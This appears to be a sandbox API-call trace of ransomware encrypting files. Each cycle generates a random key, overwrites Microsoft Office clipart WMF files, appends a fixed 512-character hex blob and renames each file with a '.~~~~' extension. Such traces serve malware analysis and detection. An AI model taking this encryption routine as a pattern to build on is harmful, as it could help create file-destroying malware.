	[0114.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0114.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0114.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a2c0
	[0114.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a2c0 | out: hHeap=0x300000) returned 1
	[0114.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28387c0
	[0114.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.648] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0114.648] GetLastError () returned 0x0
	[0114.649] GetLastError () returned 0x0
	[0114.649] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0114.649] GetLastError () returned 0x0
	[0114.649] GetLastError () returned 0x0
	[0114.651] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff85fc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.651] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x7a04, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x7a04, lpOverlapped=0x0) returned 1
	[0114.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0114.653] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.653] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.653] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.653] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.653] CloseHandle (hObject=0x13c) returned 1
	[0114.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.653] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf.~~~~")) returned 1
	[0114.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0114.655] GetLastError () returned 0x0
	[0114.655] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0114.656] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.656] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0114.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0114.656] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23464650629) returned 1
	[0114.656] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xadf19210, dwHighDateTime=0x1d60e1e)) 
	[0114.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0114.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0114.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0114.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a2f8
	[0114.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a2f8 | out: hHeap=0x300000) returned 1
	[0114.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838858
	[0114.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.657] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0114.657] GetLastError () returned 0x0
	[0114.658] GetLastError () returned 0x0
	[0114.658] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0114.658] GetLastError () returned 0x0
	[0114.658] GetLastError () returned 0x0
	[0114.720] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff11b6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.720] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0xee4a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0xee4a, lpOverlapped=0x0) returned 1
	[0114.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0114.725] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.725] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.725] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.725] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.725] CloseHandle (hObject=0x13c) returned 1
	[0114.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0114.731] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf.~~~~")) returned 1
	[0114.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0114.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0114.734] GetLastError () returned 0x0
	[0114.734] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0114.736] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.736] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0114.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0114.736] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23472620094) returned 1
	[0114.736] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xadfd78f0, dwHighDateTime=0x1d60e1e)) 
	[0114.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0114.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0114.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0114.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a3d8
	[0114.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a3d8 | out: hHeap=0x300000) returned 1
	[0114.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0114.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28388f0
	[0114.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0114.737] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0114.741] GetLastError () returned 0x0
	[0114.741] GetLastError () returned 0x0
	[0114.742] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0114.742] GetLastError () returned 0x0
	[0114.742] GetLastError () returned 0x0
	[0114.746] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffe6b8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.746] WriteFile (in: hFile=0x13c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x1948, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x1948, lpOverlapped=0x0) returned 1
	[0114.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0114.748] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.748] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.748] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.748] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.749] CloseHandle (hObject=0x13c) returned 1
	[0114.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f69d0
	[0114.749] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf.~~~~")) returned 1
	[0114.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f69d0 | out: hHeap=0x300000) returned 1
	[0114.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0114.750] GetLastError () returned 0x0
	[0114.751] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0114.752] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.752] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0114.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0114.752] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23474260650) returned 1
	[0114.753] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xadffda50, dwHighDateTime=0x1d60e1e)) 
	[0114.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0114.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0114.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0114.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a410
	[0114.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a410 | out: hHeap=0x300000) returned 1
	[0114.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f69d0
	[0114.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838b50
	[0114.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f69d0 | out: hHeap=0x300000) returned 1
	[0114.753] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0114.754] GetLastError () returned 0x0
	[0114.754] GetLastError () returned 0x0
	[0114.754] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0114.754] GetLastError () returned 0x0
	[0114.754] GetLastError () returned 0x0
	[0114.757] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffae16, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.758] WriteFile (in: hFile=0x13c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x51ea, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x51ea, lpOverlapped=0x0) returned 1
	[0114.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0114.760] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.760] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.760] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.760] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.760] CloseHandle (hObject=0x13c) returned 1
	[0114.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f69d0
	[0114.761] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf.~~~~")) returned 1
	[0115.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f69d0 | out: hHeap=0x300000) returned 1
	[0115.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0115.021] GetLastError () returned 0x0
	[0115.069] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0115.070] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.070] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0115.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0115.070] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23506007780) returned 1
	[0115.070] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xae1546b0, dwHighDateTime=0x1d60e1e)) 
	[0115.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0115.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0115.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0115.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a608
	[0115.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a608 | out: hHeap=0x300000) returned 1
	[0115.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28af0a8
	[0115.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.071] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0115.071] GetLastError () returned 0x0
	[0115.071] GetLastError () returned 0x0
	[0115.071] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0115.071] GetLastError () returned 0x0
	[0115.071] GetLastError () returned 0x0
	[0115.073] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff7d8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.073] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x828, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x828, lpOverlapped=0x0) returned 1
	[0115.074] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0115.074] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.075] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.075] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.075] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.075] CloseHandle (hObject=0x13c) returned 1
	[0115.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.075] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf.~~~~")) returned 1
	[0115.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0115.076] GetLastError () returned 0x0
	[0115.077] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0115.078] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.078] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0115.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0115.078] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23506836553) returned 1
